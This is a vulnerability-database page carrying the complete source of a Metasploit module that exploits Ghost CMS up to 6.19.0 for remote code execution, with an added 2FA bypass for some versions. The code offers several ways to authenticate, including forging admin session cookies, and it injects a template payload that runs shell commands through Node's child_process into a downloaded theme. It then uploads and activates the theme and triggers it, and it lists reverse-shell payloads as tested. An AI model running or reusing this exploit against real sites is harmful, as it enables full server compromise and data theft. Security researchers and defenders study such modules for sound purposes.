đ Ghost CMS 6.19.0 Remote Code Execution
đïžÂ 07 Aug 2026 00:00:00Reported by Cristian-Alexandru Staicu, Maksim RogovTypeÂ
 packetstormđ packetstorm.newsđ 14 Views
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Exploit for Injection in Ghost | 12 Mar 202609:55 | â | githubexploit | |
| Exploit for Injection in Ghost | 21 Apr 202623:50 | â | githubexploit | |
| Exploit for SQL Injection in Ghost | 17 Apr 202619:15 | â | githubexploit | |
| CVE-2026-29053 | 5 Mar 202605:51 | â | attackerkb | |
| CVE-2026-22594 | 10 Jan 202602:56 | â | attackerkb | |
| CVE-2026-22594 | 10 Jan 202603:22 | â | circl | |
| CVE-2026-29053 | 5 Mar 202606:21 | â | circl | |
| Ghost ææéźéąæŒæŽ | 10 Jan 202600:00 | â | cnnvd | |
| Ghost æłšć „æŒæŽ | 5 Mar 202600:00 | â | cnnvd | |
| CVE-2026-22594 | 10 Jan 202602:56 | â | cve |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
VECTORS = {
tag: {
template_name: 'tag-{{SLUG}}.hbs',
creator: :create_post,
trigger: :get_tag,
cleaner: :delete_post
},
page: {
template_name: 'page-{{SLUG}}.hbs',
creator: :create_page,
trigger: :get_page,
cleaner: :delete_page
},
author: {
template_name: 'author-{{SLUG}}.hbs',
creator: :pick_random_author,
trigger: :get_author_by_slug,
cleaner: nil
}
}.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ghost CMS Remote Code Execution',
'Description' => %q{
This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS.
Specifically crafted malicious themes can execute arbitrary code on the server running Ghost.
The affected versions include all releases from 0.7.2 up to and including 6.19.0.
For versions 5.105.0-5.130.5 and 6.0.0-6.10.3, the module also leverages a 2FA bypass.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Cristian-Alexandru Staicu' # Vulnerability Discovery
],
'References' => [
['CVE', '2026-29053'],
['CVE', '2026-22594'],
['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x']
],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Ghost >= 0.7.2, <= 6.19.0 / Unix payload',
{
'Platform' => ['unix', 'linux']
# Tested with cmd/unix/reverse_bash
# Tested with cmd/unix/reverse_nodejs
}
],
[
'Ghost >= 0.7.2, <= 6.19.0 / Windows payload',
{
'Platform' => ['windows']
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-03-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']),
OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']),
OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']),
OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']),
OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']),
OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']),
OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']),
OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']),
OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']),
OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']),
OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]),
OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']])
]
)
end
def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json')
headers = {}
headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token
headers['Cookie'] = "ghost-admin-api-session=#{@ghost_admin_api_session}" if @ghost_admin_api_session
proto = ssl ? 'https' : 'http'
target_origin = "#{proto}://#{rhost}:#{rport}"
headers['Origin'] = target_origin
request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data
res = send_request_cgi({
'method' => method,
'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint),
'headers' => headers,
'ctype' => ctype,
'vars_get' => params,
'data' => request_data,
'keep_cookies' => true
})
if res.nil?
print_error("Connection failed during #{method} to #{endpoint}")
return nil
end
if res.code >= 400
json_body = res.get_json_document
if json_body.is_a?(Hash) && json_body['errors']
error = json_body.dig('errors', 0)
ctx = error.is_a?(Hash) ? error['context'] : nil
print_error("Ghost Error (#{res.code}). #{ctx}")
end
end
res
end
def create_post(title, slug, tags = nil)
res = ghost_request_cgi('POST', 'posts/', data: {
posts: [
{
title: title,
slug: slug,
tags: tags,
status: 'published',
visibility: 'public'
}
]
})
res&.get_json_document&.dig('posts', 0, 'id')
end
def create_page(title, slug, *_args)
res = ghost_request_cgi('POST', 'pages/', data: {
pages: [
{
title: title,
slug: slug,
status: 'published',
visibility: 'public'
}
]
})
res&.get_json_document&.dig('pages', 0, 'id')
end
def create_rex_archive(binary_archive)
zip = Rex::Zip::Archive.new
Zip::File.open_buffer(binary_archive) do |z|
z.each do |f|
zip.entries << Rex::Zip::Entry.new(
f.name,
(f.ftype == :file ? z.read(f) : ''),
Rex::Zip::CM_DEFLATE,
nil,
(Rex::Zip::EFA_ISDIR if f.ftype == :directory)
)
end
end
zip
end
def download_theme(name)
res = ghost_request_cgi('GET', "themes/#{name}/download/")
res.body
end
def upload_theme(theme_name, zip_binary)
mime = Rex::MIME::Message.new
mime.add_part(zip_binary, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{theme_name}.zip\"")
res = ghost_request_cgi('POST', 'themes/upload/',
data: mime.to_s,
ctype: "multipart/form-data; boundary=#{mime.bound}")
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Theme upload failed: no response received") unless res
json_body = res.get_json_document
errors = json_body.is_a?(Hash) ? json_body['errors'] : nil
error_message = if errors.is_a?(Array) && !errors.empty?
errors.map { |error| error.is_a?(Hash) ? error['message'] || error.inspect : error.to_s }.join(', ')
end
unless res.code.between?(200, 299) && error_message.nil?
message = "#{peer} - Theme upload failed (HTTP #{res.code})"
message = "#{message}: #{error_message}" if error_message
fail_with(Msf::Module::Failure::UnexpectedReply, message)
end
res
end
def get_malicious_template
delay_seconds = datastore['DELAY']
delay_ms = delay_seconds * 1000
resource = ['posts', 'pages', 'tags', 'authors', 'tiers'].sample
filter = ['id', 'name', 'slug'].sample
# prevents multiple concurrent executions using a global lock
lock_var = Rex::Text.rand_text_alpha_lower(1..16)
js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})"
js_payload = "return global.#{lock_var}?0:(global.#{lock_var}=1,process.mainModule.require('child_process').exec(#{js_bytes},{detached:1},()=>setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))"
[
'{{!< default}}',
"{{#get \"#{resource}\" filter=\"#{filter}:{{@site[?( ({__proto__:\\\"\\\".toString})[\\\"constructor\\\"](\\\"#{js_payload}\\\")() )]}}\" limit=\"1\"}}",
'{{/get}}'
].join("\n")
end
def delete_theme(name)
res = ghost_request_cgi('DELETE', "themes/#{name}/")
res&.code == 204
end
def get_users(include: nil)
params = {}
params['include'] = include if include.present?
res = ghost_request_cgi('GET', 'users/', params: params)
res&.get_json_document&.dig('users')
end
def delete_post(post_id)
res = ghost_request_cgi('DELETE', "posts/#{post_id}/")
res&.code == 204
end
def delete_page(page_id)
res = ghost_request_cgi('DELETE', "pages/#{page_id}/")
res&.code == 204
end
def delete_invite(invite_id)
res = ghost_request_cgi('DELETE', "invites/#{invite_id}/")
res&.code == 204
end
def check_existing_session
if datastore['GHOST_API_ADMIN_SESSION'].present?
print_status('Found GHOST_API_ADMIN_SESSION in datastore. Validating session...')
@ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s
if get_config.present?
return true
else
print_error('Session is invalid: Incorrect cookie or 2FA code is required.')
end
end
@ghost_admin_api_session = nil
false
end
def verify_totp_code
unless datastore['TOTP_CODE'] =~ /^\d{6}$/
fail_with(Msf::Module::Failure::BadConfig, 'The TOTP_CODE must be exactly 6 digits.')
end
if datastore['GHOST_API_ADMIN_SESSION'].blank?
fail_with(Msf::Module::Failure::BadConfig, 'Missing GHOST_API_ADMIN_SESSION. Cannot verify TOTP without the previous session cookie.')
end
print_status("Submitting verification code from datastore: #{datastore['TOTP_CODE']}...")
@ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s
res_verify = ghost_request_cgi('PUT', 'session/verify', data: {
token: datastore['TOTP_CODE']
})
if res_verify&.code == 200 || res_verify&.code == 201
print_good('2FA verification successful! Session established.')
save_session_cookie(res_verify)
return true
elsif res_verify&.code == 401
print_error('2FA verification failed. The code entered is incorrect.')
return false
else
print_error("Verification failed. Server responded with HTTP status: #{res_verify&.code}")
return false
end
end
def authenticate_with_password(email, password)
print_status("Authenticating via session (user: #{email})...")
json_data = {
username: email,
password: password
}
# CVE-2026-22594 Staff 2FA bypass
if Rex::Version.new(@version).between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.10.3')) || Rex::Version.new(@version).between?(Rex::Version.new('5.105.0'), Rex::Version.new('5.130.5'))
print_status("Target version #{@version} is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit...")
json_data[:skipEmailVerification] = true
end
res = ghost_request_cgi('POST', 'session', data: json_data)
if res.nil?
print_error('No response received from the server during login.')
return false
end
case res.code
when 200, 201
print_good('Session established via password successfully.')
save_session_cookie(res)
return true
when 404
print_error('User not found or login endpoint does not exist.')
return false
else
if res.body =~ /2FA_NEW_DEVICE_DETECTED/
save_session_cookie(res)
print_warning('The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED).')
fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set TOTP_CODE <6-digits>", and run again.')
end
print_error("Login failed! Response code: #{res.code}")
false
end
end
def save_session_cookie(response)
raw_cookies = response.get_cookies
if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/
captured_cookie = Regexp.last_match(1)
framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie
@ghost_admin_api_session = captured_cookie
end
end
def do_login(email, password)
if check_existing_session
print_good('Valid active session detected via cookie. Skipping authentication steps.')
return true
end
if datastore['TOTP_CODE'].present?
return verify_totp_code
end
authenticate_with_password(email, password)
end
def build_archive_from_directory(directory_path)
archive = Rex::Zip::Archive.new
Dir.glob(File.join(directory_path, '**', '*')).each do |path|
relative_path = path.sub("#{directory_path}/", '')
if File.file?(path)
archive.add_file(relative_path, File.read(path))
elsif File.directory?(path)
archive.add_file(relative_path, nil, recursive: true)
end
end
archive
end
def get_active_theme
res = ghost_request_cgi('GET', 'themes/active/')
res&.get_json_document&.dig('themes', 0)
end
def prepare_base_theme
if datastore['ACTION'] == 'API_KEY'
print_status('Using local template theme for JWT-based attack...')
theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme')
build_archive_from_directory(theme_path)
else
active_theme = get_active_theme
fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') unless active_theme.is_a?(Hash)
@default_theme = active_theme&.dig('name')
fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if @default_theme.nil?
print_status("Downloading active theme \"#{@default_theme}\" from server...")
theme_data = download_theme(@default_theme)
fail_with(Failure::UnexpectedReply, "Failed to download theme: #{@default_theme}") if theme_data.nil? || theme_data.empty?
create_rex_archive(theme_data)
end
end
def activate_theme(theme_name)
res = ghost_request_cgi('PUT', "themes/#{theme_name}/activate/")
res&.code == 200
end
def inject_payload(base_archive, template_pattern, slug)
target_filename = template_pattern.gsub('{{SLUG}}', slug)
payload_content = get_malicious_template
print_status("Injecting payload into: #{target_filename}")
base_archive.add_file(target_filename, payload_content)
base_archive.pack
end
def pick_random_author(*_args)
users = get_users(include: 'count.posts')
fail_with(Failure::UnexpectedReply, 'Could not retrieve any authors from Ghost') if users.nil? || users.empty?
active_users = users.select do |user|
post_count = user.dig('count', 'posts').to_i
post_count >= 1
end
active_users.sample['slug']
end
def get_author_by_slug(slug)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'author', slug.to_s, '')
)
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
end
def get_page(slug)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, slug.to_s, '')
)
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
end
def get_tag(slug)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tag', slug.to_s, '')
)
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
end
def issue_jwt(key_id, secret)
iat = Time.now.to_i
payload = {
iat: iat,
exp: iat + 5 * 60,
aud: '/admin/'
}
secret_bytes = [secret].pack('H*')
Msf::Exploit::Remote::HTTP::JWT.encode(
JSON.generate(payload),
secret_bytes,
'HS256',
{ kid: key_id }
)
end
def get_roles
res = ghost_request_cgi('GET', '/roles/')
return nil unless res&.code == 200
res&.get_json_document&.dig('roles')
end
def invite_user(email, role_name)
allowed_roles = %w[Administrator Editor Contributor Author]
unless allowed_roles.include?(role_name)
fail_with(Failure::BadConfig, "Invalid role: #{role_name}")
end
roles = get_roles
role_id = roles.find { |role| role['name'] == role_name }['id']
res = ghost_request_cgi('POST', '/invites/', data: {
invites: [
{
role_id: role_id,
email: email
}
]
})
unless res&.code == 201
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to send invitation to #{email}")
end
res&.get_json_document&.dig('invites', 0)
end
def activate_invite(token, name, email, password)
res = ghost_request_cgi('POST', '/authentication/invitation/', data: {
invitation: [
{
name: name,
email: email,
password: password,
token: token
}
]
})
res&.code == 200
end
def handle_successful_activation(email, password)
print_good("Account activated successfully: #{email} : #{password}")
@account_created = true
@invite_id = nil
authenticate_with_password(email, password)
end
def auth_with_invite
@jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])
email = datastore['EMAIL']
unless datastore['INVITE_LINK'].present?
@invite_id = invite_user(email, 'Administrator')&.dig('id')
print_warning("An invitation has been sent to #{email}.")
print_warning('Please check the inbox, copy the "Click here to activate your account" link, and paste it here.')
fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set INVITE_LINK <full_link>", and run again.')
end
name = Faker::Name.unique.name
pass = Faker::Internet.password(min_length: 10, mix_case: true, special_characters: true)
token = URI.parse(datastore['INVITE_LINK']).path.split('/').last
if activate_invite(token, name, email, pass)
handle_successful_activation(email, pass)
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'Activation failed and fallback authentication failed. The token might be invalid or expired.')
end
end
def auth_with_jwt
@jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])
@jwt_token.present?
end
def get_user_id(email)
users = get_users
return nil if users.nil?
user = users.find { |user| user['email'] == email }
user ? user['id'] : nil
end
def delete_user(email)
user_id = get_user_id(email)
return false unless user_id
res = ghost_request_cgi('DELETE', "users/#{user_id}/")
res && res.code == 200
end
def get_config
res = ghost_request_cgi('GET', 'config/')
res&.get_json_document&.dig('config')
end
def sign_ghost_admin_session(secret, session_id)
hmac = OpenSSL::HMAC.digest('SHA256', secret, session_id)
signature = Base64.strict_encode64(hmac).gsub(/=+$/, '')
raw_cookie = "s:#{session_id}.#{signature}"
Rex::Text.uri_encode(raw_cookie).gsub(/%[0-9a-f]{2}/, &:upcase)
end
def auth
action = datastore['ACTION']
required_params = case action
when 'PASSWORD' then ['EMAIL', 'PASSWORD']
when 'API_KEY' then ['ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']
when 'INVITE' then ['EMAIL', 'ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']
when 'SESSION_SECRET' then ['ADMIN_SESSION_SECRET', 'ADMIN_SESSION_ID']
when 'COOKIE' then ['GHOST_API_ADMIN_SESSION']
when nil, ''
fail_with(Failure::BadConfig, 'ACTION parameter is missing. Please set ACTION to one of: PASSWORD, API_KEY, INVITE, SESSION_SECRET, COOKIE')
else
fail_with(Failure::BadConfig, "Invalid ACTION: #{action}")
end
missing = required_params.select { |p| datastore[p].blank? }
if missing.any?
fail_with(Failure::BadConfig, "Authentication via \"#{action}\" requires parameters: #{required_params.join(', ')}. (Missing: #{missing.join(', ')})")
end
auth_success = case action
when 'PASSWORD'
do_login(datastore['EMAIL'], datastore['PASSWORD'])
when 'API_KEY'
print_status('Authenticating via Pure API Key (JWT generation)...')
auth_with_jwt
when 'INVITE'
print_status('Authenticating via Invitation Flow...')
auth_with_invite
when 'SESSION_SECRET'
print_status("Signing session cookie using provided secret for Session ID: #{datastore['ADMIN_SESSION_ID']}...")
@ghost_admin_api_session = sign_ghost_admin_session(datastore['ADMIN_SESSION_SECRET'], datastore['ADMIN_SESSION_ID'])
!get_config.nil?
when 'COOKIE'
print_status('Authenticating via GHOST_API_ADMIN_SESSION cookie...')
@ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION']
!get_config.nil?
end
if auth_success
print_good('Authentication successful!')
else
fail_with(Failure::NoAccess, "Authentication failed for ACTION \"#{action}\": Unable to establish a session. Verify your credentials/tokens.")
end
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown("#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
html = res&.get_html_document
ghost_tag = html.at('meta[name="generator"][content^="Ghost"]')
raw_content = ghost_tag&.[]('content')
return CheckCode::Unknown("#{peer} - Ghost generator meta tag not found") unless ghost_tag
# keep only digits and dots
@version = Rex::Version.new(raw_content.gsub(/[^\d.]/, ''))
return CheckCode::Appears("Detected version #{@version}, which is vulnerable") if Rex::Version.new(@version).between?(Rex::Version.new('0.7.2'), Rex::Version.new('6.19.0'))
CheckCode::Safe("Detected version #{@version}, which is not vulnerable")
end
def cleanup
super
if @default_theme && @malicious_theme_name
print_status('Reverting to default theme...')
activate_theme(@default_theme) ? print_good("Successfully reverted to theme: #{@default_theme}") : print_error("Failed to revert to theme: #{@default_theme}")
print_status('Removing malicious theme...')
delete_theme(@malicious_theme_name) ? print_good("Successfully removed malicious theme: #{@malicious_theme_name}") : print_error("Failed to remove malicious theme: #{@malicious_theme_name}")
end
if @content_id && @vector && @vector[:cleaner]
print_status('Removing content...')
send(@vector[:cleaner], @content_id) ? print_good("Successfully removed content: #{@vector_key} #{@content_id}") : print_error("Failed to remove content: #{@vector_key} #{@content_id}")
end
if @invite_id && datastore['INVITE_LINK'].present?
print_status('Removing invitation...')
delete_invite(@invite_id) ? print_good('Invitation removed successfully') : print_error('Failed to delete the invitation')
end
if @account_created
print_status('Removing temporary account...')
auth_with_jwt || (print_error('Unable to authorize via API keys to delete the user') && return)
delete_user(datastore['EMAIL']) ? print_good('The temporary account removed successfully') : print_error('Failed to delete the temporary account')
end
end
def exploit
auth
@vector_key = VECTORS.keys.sample
@vector = VECTORS[@vector_key]
if @vector_key == :author
@trigger_slug = send(@vector[:creator])
else
@trigger_slug = Rex::Text.rand_text_alpha_lower(4..16)
@content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug])
end
@malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16)
base_archive = prepare_base_theme
if base_archive.nil?
fail_with(Failure::BadConfig, 'Base archive could not be initialized')
end
infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug)
print_status("Uploading infected theme: #{@malicious_theme_name}")
upload_theme(@malicious_theme_name, infected_zip)
activate_theme(@malicious_theme_name)
print_status('Triggering payload...')
send(@vector[:trigger], @trigger_slug)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Aug 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.18.1 - 9.8
EPSS0.01041
SSVC